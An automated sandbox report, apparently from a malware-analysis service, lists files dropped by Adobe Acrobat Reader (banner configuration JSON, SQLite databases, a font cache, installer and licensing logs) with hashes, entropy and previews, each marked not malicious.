Preview:	{"analyticsData":{"responseGUID":"bfc11891-43af-4c99-b576-37b45b8ce26d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737054474716,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.30534377475126
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlNs9zB19VoZcg1vRcR0Y9RGDeoAvJf8dPeUkwRe9:YvXKXlNs9t1EZc0vLGU8Ukee9
MD5:	5DD3FFE1AA4CC8151B0A7068F1E14D26
SHA1:	37C1E33BDF8565F74491E48B2943D905AE30CE72
SHA-256:	1D7D4E0FEBE099D9FC30CB560722A8FAC04ACF971255294AE7C2B20D5D4272A4
SHA-512:	D8C71AC4EABFA2EE9911F84F8F889006F40F6E2B238F6AA8F5557FEF493518DA43332DC74C2C622A1BF120DE2D602DAA734AD53919AC2848B9931E10B863F845
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bfc11891-43af-4c99-b576-37b45b8ce26d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737054474716,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.309171310594131
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlNs9zB19VoZcg1vRcR0Y9RGDeoAvJfQ1rPeUkwRe9:YvXKXlNs9t1EZc0vLGY16Ukee9
MD5:	5277699DFA404268808C0E8CE639EA08
SHA1:	1AD49533B3E3EF04B95359F84150C34551768F00
SHA-256:	06826E02820B832E2537C4621B1EB4ADE97D289B59427E83BFB3E5DAF3F5A30B
SHA-512:	F092645A881FB975CD3B44BF66F3BC494EFC4C9D9A2DE596541E6B15E8B121A4589C92773A1A4071EB884407D58B35276D43D8FF554DD6761C2AD34BD1E5BE83
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bfc11891-43af-4c99-b576-37b45b8ce26d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737054474716,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.316106476119952
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlNs9zB19VoZcg1vRcR0Y9RGDeoAvJfFldPeUkwRe9:YvXKXlNs9t1EZc0vLGz8Ukee9
MD5:	ACAB9EB6FE6C2C382F83D05C09402623
SHA1:	1A46775AE1D6D5D14C6C56C546558FB7509CB3DE
SHA-256:	3B91F863404FB16C66F72014A7F9AB56720725CB4C05A91C0CE30C63AD22D79B
SHA-512:	8C53125FE8116BF82E8F21ECF1EC21F7C0C0EBE5A1C74E1740E4B2D1C6520335E3CA076DC355A2185E7A3629311EEA717864C2C55D70A6FC3CE3AFC7F66D0335
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bfc11891-43af-4c99-b576-37b45b8ce26d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737054474716,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.331775118420289
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlNs9zB19VoZcg1vRcR0Y9RGDeoAvJfzdPeUkwRe9:YvXKXlNs9t1EZc0vLGb8Ukee9
MD5:	4D427782C9F1DB0B5541B5F0105F0477
SHA1:	FE109894DB5499A55BC922A3B8807D7731BBB281
SHA-256:	3EF9B9068608D87B622A387B00732BC195908243C97BBA37E7C942980AC0D69A
SHA-512:	F08C021C9BFBDFF3EC273B66B2614FC141608DE09C4A2EBD82932EE1E61B87B3E92B49E1C224C8F098FAC1AFBA64E3A6110D8FCAFDE4C12B7C792631ABE0283D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bfc11891-43af-4c99-b576-37b45b8ce26d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737054474716,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3123827212685795
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlNs9zB19VoZcg1vRcR0Y9RGDeoAvJfYdPeUkwRe9:YvXKXlNs9t1EZc0vLGg8Ukee9
MD5:	0BB8BFBBFF37F8CB2220E102D6636F92
SHA1:	8860709C485E2F13A35CA50B27E7638D7857F684
SHA-256:	E9F375044B48E5689B4D02D88284F66C02341C16DD5AFBED3285F886EC6C1859
SHA-512:	5F40A67ED4ED2FCC81C7DD07E9362B3B6E1E79C0E70FC5DD980BEDDC9F90C2F22555518F93176AD87BBA97B24A629F0E56A13DC100ED9D1FC95B0B12B85C4389
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bfc11891-43af-4c99-b576-37b45b8ce26d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737054474716,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.29865109974759
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlNs9zB19VoZcg1vRcR0Y9RGDeoAvJf+dPeUkwRe9:YvXKXlNs9t1EZc0vLG28Ukee9
MD5:	69055A7C9AC16CF9B491D1E8AB7B9BB9
SHA1:	C5190920904F5088B530E11729C11FFE9DBF83FA
SHA-256:	A08881386DC384E11F122D6E8C8FA9F52D1BD7177861F011E1FFF34DA568A663
SHA-512:	B14693C04B75283D412A9BC1094A7DCE9C924607B5F81AC5B62A0A58BF9AF1F4ED5A4DC5347372B5F1C682080B85C260F99D84533C7A15126388AC3FE518A0A6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bfc11891-43af-4c99-b576-37b45b8ce26d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737054474716,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.295844714328913
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlNs9zB19VoZcg1vRcR0Y9RGDeoAvJfbPtdPeUkwRe9:YvXKXlNs9t1EZc0vLGDV8Ukee9
MD5:	D2B2B86319A799DB9D9C8159E72C4E3B
SHA1:	0CD89EF592D0225698AD6ADB94EABAC170AE2802
SHA-256:	78DBD9F968A71C2B6675EC1A0EB6B9B3FFFA666052E083BE6200D414BE0E2FBA
SHA-512:	A55383A8F4A42D525E0F057E9AD923A330AEBFB167F8D2BBA6944F205F44778DE0FC7ABF7100612A7EDA96D7CC077A5A27CE5100EFD2F55ADDDD48D7B0A9087F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bfc11891-43af-4c99-b576-37b45b8ce26d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737054474716,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.300353181708123
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlNs9zB19VoZcg1vRcR0Y9RGDeoAvJf21rPeUkwRe9:YvXKXlNs9t1EZc0vLG+16Ukee9
MD5:	6BB7DAA511DD74B9F717ABB46262EA46
SHA1:	FF90D52483AF1C0AFEA4707062D528BAF79AD147
SHA-256:	A20B5068B2B8B4A61CC2F9ACFD99DDA5C05DAC56FBFE8F613D7F7087F0CD4F01
SHA-512:	DF639B3ACECECF3BF0459CD1BC20C30EA522044DB8C0D1B5B19AF524E801A9ADFF7A456D33DB8855C96EE937E1E97B822994058D400306B2958B0A6DB6E859DC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bfc11891-43af-4c99-b576-37b45b8ce26d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737054474716,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6700753529572125
Encrypted:	false
SSDEEP:	24:Yv6XMCzvkamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS+Y:YvU6BgkDMUJUAh8cvM+Y
MD5:	C54C7CAD53E12F9F7FD48412D498E1A6
SHA1:	8C2459831AD357406626DC272E2592CCC6F5DD48
SHA-256:	76C6BFAA4C521221A5164A8FEAD45C3CD264F454963F0D54EF4088F3E426D0FA
SHA-512:	F4EEF46C862009EDC6F9E303B3A7743AC898820493DB233766191BE3EC4FF695F880B5475890BBAA446E1AE4FB110106E95AFBA6C8423E94F3A1BFA6EDD7E775
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bfc11891-43af-4c99-b576-37b45b8ce26d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737054474716,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.277071319642442
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlNs9zB19VoZcg1vRcR0Y9RGDeoAvJfshHHrPeUkwRe9:YvXKXlNs9t1EZc0vLGUUUkee9
MD5:	F78B617D1A286D88764FC9F0184EFCF7
SHA1:	CFDC70669F62ADAC92D70F40B4241B12CB2A60DB
SHA-256:	63838D28FE992E11F632BC5D67A5C9642C15AEBE30A24D8B2AD4E192245832C8
SHA-512:	7D584EA1ADD28164C21AADC3B019C02A9DEA34FECE15F0AC761A73E582B8F938E5498BEF44821B1C3124A164646B943C18DF39F30BC6CE935241BDE011422DE1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bfc11891-43af-4c99-b576-37b45b8ce26d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737054474716,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.290941992546525
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlNs9zB19VoZcg1vRcR0Y9RGDeoAvJTqgFCrPeUkwRe9:YvXKXlNs9t1EZc0vLGTq16Ukee9
MD5:	2BEBADD3CA45C8EF66AAE96C0A19E588
SHA1:	42CB91AF179368A43B7A12E3F36182EFE1854F72
SHA-256:	035D2A9C32BC586A7818A44FCC650A641AA90516C7B37967D2DF6B420601CE71
SHA-512:	958655AE6D0ECF8D6D3AD306B0A8806056AC0D5AF55643AA92B8FECB480415A694E9A4493D6B37B3C1A1831B8BD166D6D1BFEEA5C6560AB0BFB7DBA204BD4836
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bfc11891-43af-4c99-b576-37b45b8ce26d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737054474716,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.138557538665964
Encrypted:	false
SSDEEP:	24:YQC2aMdM1ay+4kcpN/QTHjBWwc4WjvL2j0SOL22PgXA2LSACLTPhSaHyt5gf9P28:YQJoppQj9UTv8DsV6MTPhSaEK9PL
MD5:	2F4A8CCBDC5D1383ECFFA480B5CA0C3F
SHA1:	BD2C316E06EAB3B43112431538985EC933035A03
SHA-256:	2C96B3EA9F58608F441496A2C820B1C87C3C35490A1E2BDC0DB4D4AFB84D2B0F
SHA-512:	83C1F68229ABD9B142A7A6A7870F5D2EBAADA5AF7D34DB95742D9E4BC918B46AA2CA49E803C34C22191CDCE2DCFBFBB296C38B956F49AD93C2E982BC3DF91E39
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"5f9248352864c1856e5928d0772fe301","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736881313000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"836e342e340bae9271b7d637707c98d3","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736881313000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"db0cda214b5c8449195517fc882198a7","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736881313000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"ee9a12d499e25fda7bb037b70cc1b2df","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736881313000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"4cbebe356e5d918141ad6b0207a11858","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736881313000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"dada49c059a0f4941727584e69375c17","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.189146988169926
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUcSvR9H9vxFGiDIAEkGVvpW:lNVmswUUUUUUUUc+FGSIti
MD5:	EB85856095846D4FC14FE18FB99D8D15
SHA1:	C8345ED427EEED3F4ABF8CB3B2FA97A0AACB4FF9
SHA-256:	170D8F94692305E75974602C2850E8E75FC26AF23DBBD64DD315C92AC16963ED
SHA-512:	280E57D0B128B2CDE01A186A334A07069989AFAE563B9C5FB0A9211AA19EF51A2BB26E39B6FC7502E4EEAC1F6BD362D5EF238D7B4681FFF1B2DDD34195D4981D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.609489126965044
Encrypted:	false
SSDEEP:	48:7MUKUUUUUUUUUUOvR9H9vxFGiDIAEkGVvzqFl2GL7msw:7YUUUUUUUUUUyFGSItZKVmsw
MD5:	F7A10AE48ADC0B5C6C55A0C076F6C2D3
SHA1:	C89EE06262D64D82B9D612E262EC86780F3E68E9
SHA-256:	3884B620D6C809E47D026D56F0C0973775101B16912B912E507FD5BA734DC8CA
SHA-512:	EF1B326E30165B21E66A05B782D4E22A0C3A5180699AFA215FC45352AF740BFDDE94BC9FF82366644D492F3F45F63E98E492AF5BA7671006A385957546A95489
Malicious:	false
Preview:	.... .c.......]......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgAgqT5Ow+2i7S2FLWj02onGsiPqYyu:6a6TZ44ADEAgQ5Ow+p7rG5qK
MD5:	92ED44507FBB061E77076FD8641A9985
SHA1:	5707C47FFF5CED06050D25F2938B64168130BE7B
SHA-256:	731A74D2FC0DFAEFED44B614B04D0F38E46232CE61666DAB4C4DD48C330B25DF
SHA-512:	29060477AF3AED0CC22C2394198E4078795600200AE028DF3577C72FC556E7BFD2210B401F7B20378063ADEF68D3C27D72E153E49A11E7FA41DE8B6D5B637136
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Temp\MSIbc316.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5024069929195045
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K84sClERqKw:Qw946cPbiOxDlbYnuRKIDHw
MD5:	5DC29AE0F4BC48EC97FAC62F26AD5003
SHA1:	A9BA76885DDB63E04849114589989C08A5D75F98
SHA-256:	426FBA7C0E8F087512DDE06571346746270F712ED7EA5D5B8F98A8252A3C008A
SHA-512:	C943EBDF2D4D50869758A46796EC924B2066D30EEACCBFDBE48A5C52CF23D75A74B8710D788C88919A130F4F2347D4AB88F030EAAF7692F207E89366BE2D7E8E
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.4./.0.1./.2.0.2.5. . .1.4.:.0.1.:.5.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-14 14-01-50-686.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.354017177966937
Encrypted:	false
SSDEEP:	384:zcgBgglEjxaV8GdH13RQIDo08c1glOmQK92s6iMYdNf825Xd3asJn2nyTxzy/4ov:ygV
MD5:	2E161C35E32BB3A551126CF3F65CD6AB
SHA1:	94CEA14A1E5C3B78CA28D46063D1D267524149B0
SHA-256:	3649A311E8A922717F4B495BFF1C5182ED45AFB3FCF3BEA5E7A9667A2CF24CDA
SHA-512:	BF81C7698CF95776761530A0EFA7707698F14690848157EE184004A9C7F0AEAB1EFDD1587EF1F7E0B31C1538E0F46E31740DE2EABDBF5093A71D682433373E55
Malicious:	false
Preview:	SessionID=796fc44e-99d3-4ba5-8f2e-052914328119.1736881310712 Timestamp=2025-01-14T14:01:50:712-0500 ThreadID=4076 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=796fc44e-99d3-4ba5-8f2e-052914328119.1736881310712 Timestamp=2025-01-14T14:01:50:735-0500 ThreadID=4076 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=796fc44e-99d3-4ba5-8f2e-052914328119.1736881310712 Timestamp=2025-01-14T14:01:50:735-0500 ThreadID=4076 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=796fc44e-99d3-4ba5-8f2e-052914328119.1736881310712 Timestamp=2025-01-14T14:01:50:735-0500 ThreadID=4076 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=796fc44e-99d3-4ba5-8f2e-052914328119.1736881310712 Timestamp=2025-01-14T14:01:50:735-0500 ThreadID=4076 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.380748498844985
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2r6:W
MD5:	6D8B6A6264EEE99E799D57E4D0D1C669
SHA1:	92A84034BA8B58F929A105742701B9761B2B7815
SHA-256:	DF8C54F5C0BA2E3B9FAF0D7A76C131716949E6D820F2A65FDF60108F3943BC07
SHA-512:	B42E0B617535D4E595202412F52ED151E967D54CD538CD1FA29815D3E2C9B73D9F62B552AB6407071221F1DFBF0287CD317BD3BEBF5EBA561C1C5731CA01A89E
Malicious:	false
